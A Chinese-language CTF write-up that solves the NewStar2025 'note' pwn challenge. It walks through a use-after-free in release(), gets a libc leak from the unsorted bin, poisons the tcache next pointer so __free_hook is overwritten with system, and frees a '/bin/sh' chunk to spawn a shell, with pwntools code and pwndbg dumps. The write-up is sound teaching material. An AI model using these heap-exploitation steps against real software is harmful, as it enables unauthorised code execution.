Pwn

1.note

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/比赛/NewStar2025/pwn/note/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 release()
{
signed int n0x10; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input index: ");
__isoc99_scanf("%d", &n0x10);
if ( (unsigned int)n0x10 < 0x10 )
{
if ( *((_QWORD *)&chunk_list + n0x10) )
{
puts("the note has been released.");
free(*((void **)&chunk_list + n0x10));
}
else
{
puts("index not used......");
}
}
else
{
puts("index out of range......");
}
return __readfsqword(0x28u) ^ v2;
}

题目也明确说了是uaf,其实就是这里free后未置空。

libc泄露

先利用

1
2
3
4
5
6
add(1, 0x500, b'A' * 8)
add(2, 0x20, b'B' * 8)
release(1)
leak = u64(show(1, 8))
print(hex(leak))
stop()

我们先申请并释放掉一个。一般来说tcache bin的信息如下:

1
2
3
4
5
64 位下,很多堆题里默认记:
tcache bin 数量:64
每 bin 最多:7
最大 tcache chunk size:0x410
最大常见申请大小:0x408

调试一下,我们可以看得到这里是被free到了unsortedbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 用本机libc调试的结果 用来算出unsortedbin fd/bk指向地址相对main_arena的offset
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x77b5b1a214a0 <__malloc_hook>
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x77b5b1a1ac80 <main_arena>
pwndbg> p &__free_hook
$3 = (void (**)(void *, const void *)) 0x77b5b1a214a8 <__free_hook>
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5e3db7ebd000
Size: 0x290 (with flag bits: 0x291)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5e3db7ebd290
Size: 0x510 (with flag bits: 0x511)
fd: 0x77b5b1a1ace0
bk: 0x77b5b1a1ace0
# 所以偏移量是0x60

# 用他提供的libc和ld
pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

Allocated chunk | PREV_INUSE
Addr: 0x5f73f3d2d000
Size: 0x250 (with flag bits: 0x251)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5f73f3d2d250
Size: 0x510 (with flag bits: 0x511)
fd: 0x71ac869ebca0
bk: 0x71ac869ebca0

Allocated chunk
Addr: 0x5f73f3d2d760
Size: 0x30 (with flag bits: 0x30)

Top chunk | PREV_INUSE
Addr: 0x5f73f3d2d790
Size: 0x20870 (with flag bits: 0x20871)

我们可以看一下__free_hook`__malloc_hook\system`的地址

1
2
3
__malloc_hook = libc_base + 0x3ebc30
main_arena = libc_base + 0x3ebc40
unsorted fd/bk 指向的位置 = main_arena + 0x60

0x71ac86600000libc_base,所以unsortedbin指向的fd/bk的offset是0x71ac869ebca0 - 0x71ac86600000 = 0x3EBCA0,所以至此我们可以泄露libc:

1
libc_base = unsortedbin指向的fd/bk - 0x3EBCA0

tcache覆盖freehook为system

我们可以来简单看一下tcache的结构图(每个bin是一个单向链表):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Thread Local Storage
┌─────────────────────────────────────────────┐
│ tcache (每线程一个) │
│ │
│ tcache_perthread_struct │
│ ┌─────────────────────────────────────────┐ │
│ │ counts[64] │ │ #这里counts存每个bin的chunk数量
│ │ entries[64] │ │ #这里entries存每个bin的地址
│ │ │ │
│ │ entries[0] ───────┐ │ │
│ │ entries[1] ── NULL│ │ │
│ │ entries[2] ── NULL│ │ │
│ │ ... │ │ │
│ └───────────────────│─────────────────────┘ │
└─────────────────────│───────────────────────┘


Heap
┌─────────────────────────────────────────────┐
│ chunk A (free, 已进入 tcache bin[0]) │
│ ┌─────────────────────────────────────────┐ │
│ │ prev_size │ │
│ │ size │ │
│ ├─────────────────────────────────────────┤ │
│ │ user data 被复用成 tcache_entry │ │
│ │ ┌─────────────────────────────────────┐ │ │
│ │ │ next ───────────────┐ │ │ │ #next指向的是下一个chunk的user data地址
│ │ └─────────────────────┘ │ │ │
│ └─────────────────────────────────────────┘ │
└─────────────────────────│───────────────────┘

┌─────────────────────────────────────────────┐
│ chunk B (free, 已进入 tcache bin[0]) │
│ ┌─────────────────────────────────────────┐ │
│ │ prev_size │ │
│ │ size │ │
│ ├─────────────────────────────────────────┤ │
│ │ user data 被复用成 tcache_entry │ │
│ │ ┌─────────────────────────────────────┐ │ │
│ │ │ next ───────────────┐ │ │ │
│ │ └─────────────────────┘ │ │ │
│ └─────────────────────────────────────────┘ │
└─────────────────────────│───────────────────┘

┌─────────────────────────────────────────────┐
│ chunk C (free, 已进入 tcache bin[0]) │
│ ┌─────────────────────────────────────────┐ │
│ │ prev_size │ │
│ │ size │ │
│ ├─────────────────────────────────────────┤ │
│ │ user data 被复用成 tcache_entry │ │
│ │ ┌─────────────────────────────────────┐ │ │
│ │ │ next = NULL │ │ │
│ │ └─────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────┘ │
└─────────────────────────────────────────────┘

回到地址上看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
tcache->entries[0]
|
v
0x555555759260 <── 这是 chunk A 的 user data 地址
+0x00: next / fd = 0x5555557592a0
+0x08: key
+0x10: ...
...
对应的 chunk A header 在:
0x555555759250
+0x00: prev_size
+0x08: size
--------------------------------------------

0x5555557592a0 <── 这是 chunk B 的 user data 地址
+0x00: next / fd = 0x5555557592e0
+0x08: key
+0x10: ...
...
对应的 chunk B header 在:
0x555555759290
+0x00: prev_size
+0x08: size
--------------------------------------------

0x5555557592e0 <── 这是 chunk C 的 user data 地址
+0x00: next / fd = NULL
+0x08: key
+0x10: ...
...
对应的 chunk C header 在:
0x5555557592d0
+0x00: prev_size
+0x08: size

了解完原理之后我们就好理解了,我们申请释放一个chunk之后把next指针指向的地址转为__free_hook,释放后再次申请两个chunk,且add第二个chunk是内容填充为system,至此free->system;最后加一个/bin/sh即可。

(为什么是“释放后再次申请两个chunk”?原因是再申请的第一个chunk的next地址就直指__free_hookadd(4,system_addr)就做到了覆盖地址)

1
2
3
4
5
6
7
8
9
10
11
add(2, 0x60, b'C' * 8)
release(2)
change(2, p64(__free_hook))

add(3, 0x60, b'D' * 8)
add(4, 0x60, p64(system))

add(5,0x60,b'/bin/sh\x00')
release(5) #release就是"free"->system

p.interactive()